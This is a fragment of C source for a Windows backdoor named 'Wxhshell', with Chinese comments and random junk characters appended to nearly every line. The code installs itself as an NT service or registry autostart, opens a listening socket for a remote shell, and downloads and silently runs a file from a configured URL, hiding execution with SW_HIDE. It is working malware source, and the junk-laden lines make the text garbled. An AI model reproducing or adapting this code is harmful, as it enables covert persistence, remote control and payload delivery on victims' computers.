ULONG UniqueProcessId; &o:wSe
ULONG InheritedFromUniqueProcessId; {n2jAR9nq
} PROCESS_BASIC_INFORMATION; zjB8~ku#
o{nBtxZ"
PROCNTQSIP NtQueryInformationProcess; WVp14Z?k
B-'Xk{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^%*%=LJm
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9boNB"h]T
l}K{=%U>7
HANDLE hProcess; 2VtiL^;5
PROCESS_BASIC_INFORMATION pbi; 57D /"
8T7[/"hi\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +-K-CXt
if(NULL == hInst ) return 0; jh2D9h
;1K.SDj
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lP\7=9rh^x
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !&?(ty^F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )>C,y`,
`epO/Uu\~u
if (!NtQueryInformationProcess) return 0; l<! ?`V6}
c$bb0J%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .$L'Jt2X
if(!hProcess) return 0; Wyw/imr
@e3O=_m-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 34&n{ xv
[f&ja[m q
CloseHandle(hProcess); #4DEb<D
b~WiE?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GUJx?V/[
if(hProcess==NULL) return 0; J*5 )g
yM=%a3
HMODULE hMod; K;k&w; j
char procName[255]; q%2cx@c
unsigned long cbNeeded; \l"1Io=
x?y)a9&Hm
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &r;-=ASYzV
CcG{+-=H)
CloseHandle(hProcess); oGu-:X=`9
DUFfk6#X}
if(strstr(procName,"services")) return 1; // 以服务启动 Q+$+{g-8
)C|[j@MD
return 0; // 注册表启动 7%b?[}y4
} ,W'`rCxJ
ncuqo'r
// 主模块 4l <%Q2
int StartWxhshell(LPSTR lpCmdLine) B>AmH%f/
{ /2Y t\=S=
SOCKET wsl; xRuAt/aC
BOOL val=TRUE; >WVos 4
int port=0; o $7:*jU
struct sockaddr_in door; {U=Mfo?AH
V\5ZRLawP
if(wscfg.ws_autoins) Install(); ]4^9Tw6
_b
\Z{6j&;
port=atoi(lpCmdLine); g\[?U9qN
=aX;-
if(port<=0) port=wscfg.ws_port; 2? 9*V19yu
lyc
]E
9
WSADATA data; ^`XQ>-wWue
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F=?0:2P0bD
qb'4x){
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jNd."[IrO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KzZ|{!C
door.sin_family = AF_INET; !YYI{BJ7:N
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dT?/9JIv
door.sin_port = htons(port); :08b&myx
c5Fl:=h
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [CTE"@A
closesocket(wsl); lgWEB3f
.
return 1; wK>a&`<
} 2_k2t
?
T?B753I
if(listen(wsl,2) == INVALID_SOCKET) { E]Dcb*t
closesocket(wsl); O~D>F*_^j
return 1; rWsUWA T*
} !6.}{6b
Wxhshell(wsl); h\dq]yOl
WSACleanup(); +||y/}1
jNV)=s^ed[
return 0; .S4c<pMap
{HoeK>rd
} ~nLE?>x|Z
LGuK@^
// 以NT服务方式启动 Lh`B5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3'3E:}o|
{ ^phgNzD
DWORD status = 0; N(ov.l;
DWORD specificError = 0xfffffff; DD$YMM
'Z;8-1M?O
serviceStatus.dwServiceType = SERVICE_WIN32; y(81| c#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5 1&||.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'LC-/_g
serviceStatus.dwWin32ExitCode = 0; X"hdCY%
serviceStatus.dwServiceSpecificExitCode = 0; f%ThS42
serviceStatus.dwCheckPoint = 0; q)N]*~
serviceStatus.dwWaitHint = 0; }(MI}o}
=Pj+^+UM
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dC,a~`%O
if (hServiceStatusHandle==0) return; <?8aM7W7
kn5X:@{
status = GetLastError(); ?F=^&
v8
if (status!=NO_ERROR) , yd]R4M
{ +wPXDN#R
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,ICn]Pdz@
serviceStatus.dwCheckPoint = 0; }X|*+<
serviceStatus.dwWaitHint = 0; Q3h_4{w
serviceStatus.dwWin32ExitCode = status; YmwUl> @{
serviceStatus.dwServiceSpecificExitCode = specificError; z.vERP56
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [}ayaXXQ5
return; =(aA`:Nl
} 2oBT
_o%/J
"O (N=|b
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~6nY5
serviceStatus.dwCheckPoint = 0; Nv[MU@Tv
serviceStatus.dwWaitHint = 0; e #!YdXSx
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q%T[&A}3B
} 70Z#Ej
uCB>".'kM
// 处理NT服务事件,比如:启动、停止 #];b+ T
VOID WINAPI NTServiceHandler(DWORD fdwControl) MJ?fMR@
{ ojva~mnFf
switch(fdwControl) ](@HPAG]
{ \>]C
case SERVICE_CONTROL_STOP: ~vPR9\e
serviceStatus.dwWin32ExitCode = 0; x9!3i{_
serviceStatus.dwCurrentState = SERVICE_STOPPED; .91@T.
serviceStatus.dwCheckPoint = 0; z?3t^UPW
serviceStatus.dwWaitHint = 0; _GbwyfA
n#
{ 14DHU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E:$EK_?:t
} 2j =i\ B
return; 7B@1[
case SERVICE_CONTROL_PAUSE: sF4+(9 =
serviceStatus.dwCurrentState = SERVICE_PAUSED; V zTHW5B
break; d8C44q+ds
case SERVICE_CONTROL_CONTINUE: T1*%]6&V|
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q1[3C(
break; G2y`yg
case SERVICE_CONTROL_INTERROGATE: ou\M}C`E
break; Hy~+|hLvh
}; o)2KQ$b>Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V1-URC24vd
} *ufVZzP(
k[Ue}L|
// 标准应用程序主函数 pf8M0,AY
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VFI\2n`
{ eHl)/='
EA``G8Vn>
// 获取操作系统版本 S HxD(6
OsIsNt=GetOsVer(); rNN,!
GetModuleFileName(NULL,ExeFile,MAX_PATH); @>Bgld&vl
;O~k{5.iS
// 从命令行安装 Kl/n>qEt
if(strpbrk(lpCmdLine,"iI")) Install(); ]8+ D
MHqk-4Mz
// 下载执行文件 qokCVI-\
if(wscfg.ws_downexe) { |>zYUT[V
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %M5{-pJ|C
WinExec(wscfg.ws_filenam,SW_HIDE); i9+qU
} =1r!'<"h
P
y!$r
if(!OsIsNt) { IgyoBfj\d
// 如果时win9x,隐藏进程并且设置为注册表启动 wLa8&E